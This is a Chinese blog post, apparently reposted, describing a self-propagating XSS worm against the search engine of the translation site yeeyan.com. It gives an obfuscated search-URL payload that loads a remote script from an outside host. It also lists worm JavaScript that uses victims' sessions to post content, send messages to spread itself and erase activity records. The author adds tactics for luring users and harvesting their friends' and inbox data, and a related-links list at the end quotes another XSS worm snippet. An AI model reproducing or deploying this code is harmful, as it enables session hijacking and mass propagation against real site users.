Search Engine XSS Worm

译言http://www.yeeyan.com/是一个“发现、翻译、阅读中文之外的互联网精华”的web2.0网站,过滤系统真BT,不过其搜索引擎存在跨站,它的搜索引擎也真够BT,转义单引号、双引号,并且当搜索值含英文冒号:时就不返回搜索结果。于是我只能这样构造:

http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E

本来搜索引擎跨站没什么好玩的,但这次在yeeyan这就可以利用这个易被忽略点来诞生个XSS WORM。蠕虫要诞生必须解决以下几点:

Q1、上面这个Search Engine XSS Trap如何包含远程蠕虫?

A1、因为蠕虫的代码会很多,不可能一次性出现在这个XSS Trap中(对比:复制自身的微型XSS Worm),所以要想办法利用这个XSS Trap来调用远程蠕虫。方法很多,你解码这个XSS Trap就知道我的方法:)

Q2、如何让其他验证用户访问这个Search Engine XSS Trap?

A2、 先给某几位用户发站内信(借用蠕虫本身就可以批量发送:)),欺骗其访问,一旦他们访问,则这个XSS Trap会调用远程蠕虫,蠕虫会获取他们的好友信息与他们的信箱信息等等,这里面都有其他用户的信息。于是这个Search Engine XSS Trap就可以随站内信系统大量传播。

Q2、蠕虫如何获取访问Search Engine XSS Trap的用户标志信息?

A3、这点很重要,蠕虫的传播是要很多宿主的,要获得这些宿主就必须能够很清晰地获取特定用户标志信息,比如他的ID、他的空间地址等等。蠕虫一旦传播开,那就是爆发式的:)。

这些问题我都解决了,于是yeeyan的这个Search Engine XSS Worm就成功诞生。蠕虫部分代码如下:

var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
_1();
function _1(){
var _u=_3or7("GET","http://www.yeeyan.com/space/showme",null);
re=/\<a href=\"\/space\/groups\/(.*?)\">/i
r=_u.match(re);
src="http://www.yeeyan.com/groups/newTopic/";
var _txt="HELLO YEEYAN.";
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[Post][content]\"\r\n\r\n";
argv_1+=(_txt+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsggroup\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee_username\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
var _del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null);
//删除记录只需这样即可:)
_2();
}
function _2(){
src="http://www.yeeyan.com/space/compose_message";
var _to="Yasmin";
var _s="yeeyan";
var _m="HELLO:)"
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[receiver_name]\"\r\n\r\n";
argv_1+=(_to+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[subject]\"\r\n\r\n";
argv_1+=(_s+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message][content]\"\r\n\r\n";
argv_1+=(_m+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message_id]\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[action]\"\r\n\r\n";
argv_1+=("send"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
alert(0);
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
_x.send(_a);
return _x.responseText;
}要理解这些代码可以参考我以前的文章,这里有线索:http://www.0x37.com/post/2.html。我写这个蠕虫的目的是验证http://www.0x37.com/post/2.html我 的这篇文章提到的方法,我只能说老外有点不负责任:),我还得重新编码,这个方法理论上是行得通的,只是我目前遇到了点麻烦。还是构造HTTP消息头来 POST蠕虫信息爽。借用搜索引擎来诞生蠕虫,我还是第一次这样做。只要满足XSS Trap与目标攻击点在严格的同域内就OK。

(0)

相关推荐

  • Search Engine XSS Worm

    译言http://www.yeeyan.com/是一个"发现.翻译.阅读中文之外的互联网精华"的web2.0网站,过滤系统真BT,不过其搜索引擎存在跨站,它的搜索引擎也真够BT,转义单引号.双引号,并且当搜索值含英文冒号:时就不返回搜索结果.于是我只能这样构造: http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,

  • Search Engine Friendly的URL设计

    Search Engine Friendly的URL设计 版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明http://www.chedong.com/tech/google_url.html 关键词:"url rewrite" mod_rewrite isapirewrite path_info "search engine friendly" 内容摘要: 此外随着互联网上的内容以惊人速度的增长也越来越突出了搜索引擎的重要性,如果

  • 利用Yahoo! Search API开发自已的搜索引擎-php版

    美国东部时间3月1日,雅虎公司联合创始人之一的杨致远将宣布公司的搜索网络将进入Web服务.雅虎公司在www.developer.yahoo.com网站建立了Yahoo Search Developer Network,公司计划在此纽约举行的搜索引擎战略大会(Search Engine Strategies Conference)上推出这一计划.该网络将允许开发者在雅虎搜索之上建立新的应用程序,其中包括图像.视频.新闻以及地区搜索等内容.想要使用这项服务的会员必须先去http://api.sear

  • XSS 0DAY代码

    文章作者:茄子宝 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 看到梦之光芒放出来了!我也不藏了! 10月7日的时候我就发的日志,提示了大家!这里算是上次发的XSS WORM初尝试的续吧. 其实很简单,就是两次转码. <DIV STYLE="background-image: url(javascript:var XmlHttp=new ActiveXObject("Microsoft.XMLhttp"); XmlHttp.Open("

  • 分享下网站开发人员应该知道的61件事

    不出意料地,他得到了一大堆回答. 通常情况下,你需要把所有人的发言从头到尾读一遍.但是,Stack Overflow有一个很贴心的设计,它允许在问题下方开设一个wiki区,让所有人共同编辑一个最佳答案.于是,就有了下面这篇文章,一共总结出六个方面共计61条"网站开发须知". 我发现,这种概述性的问题,最适合这种集合群智.头脑风暴式的回答方式了.这也是我第一次觉得,Stack Overflow做到了Wikipedia做不到的事.(难怪它最近挤进了全美前400大网站.) 在我的印象中,关于

  • 通过Mootools 1.2来操纵HTML DOM元素

    我们已经学习过如何来选取DOM元素,怎么创建数组,怎么创建函数,怎么把事件添加到元素,今天我们来深入地学习一下如果操纵HTML元素.通过MooTools 1.2,你可以添加新元素到一个HTML页面中,也可以删除元素,以及改变任何样式或者元素参数,这些都非常容易. 基本方法 .get(); 这个工具可以让你获取元素的属性(property).元素的属性是组成一个HTML元素的各种不同部分,例如src.value.name等等.使用.get();方法非常简单: 参考代码: 复制代码 代码如下: //

  • 8个基于Lucene的开源搜索引擎(推荐)

    Lucene是一种功能强大且被广泛使用的搜索引擎,以下列出8种基于Lucene的搜索引擎,你可以想象他们有多么强大. 1.Apache Solr Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器.文档通过Http利用XML加到一个搜索集合中.查询该集合也是通过http收到一个XML/JSON响应来实现.它的主要特性包括:高效.灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提供一套强大Data Schema来定义字段,类型和设置文本分析,提供基

  • 一个有趣的Ajax Hack示范

    今天在梦之光芒的BLOG上看见了一个Ajax Hack示范,其实跨站发现很容易,但是要做到大危害还是很难,偷偷COOKIE什么的只针对用户而已,XSS WORM的那种利用才是可怕的. 来看看他的一段VBSCRIPT脚本 复制代码 代码如下: vbscript:execute("  dim l,s:  l=chr(13)+chr(10):  s=""sub mycode""&l:  s=s&""dim http,url,p

  • 九、处理Cookie

    9.1 Cookie概述 Cookie是服务器发送给浏览器的体积很小的纯文本信息,用户以后访问同一个Web服务器时浏览器会把它们原样发送给服务器.通过让服务器读取它原先保存到客户端的信息,网站能够为浏览者提供一系列的方便,例如在线交易过程中标识用户身份.安全要求不高的场合避免用户重复输入名字和密码.门户网站的主页定制.有针对性地投放广告,等等. Cookie的目的就是为用户带来方便,为网站带来增值.虽然有着许多误传,事实上Cookie并不会造成严重的安全威胁.Cookie永远不会以任何方式执行,

  • 七、HTTP应答状态

    7.1 状态代码概述 Web服务器响应浏览器或其他客户程序的请求时,其应答一般由以下几个部分组成:一个状态行,几个应答头,一个空行,内容文档.下面是一个最简单的应答: HTTP/1.1 200 OKContent-Type: text/plain Hello World 状态行包含HTTP版本.状态代码.与状态代码对应的简短说明信息.在大多数情况下,除了Content-Type之外的所有应答头都是可选的.但Content-Type是必需的,它描述的是后面文档的MIME类型.虽然大多数应答都包含一

随机推荐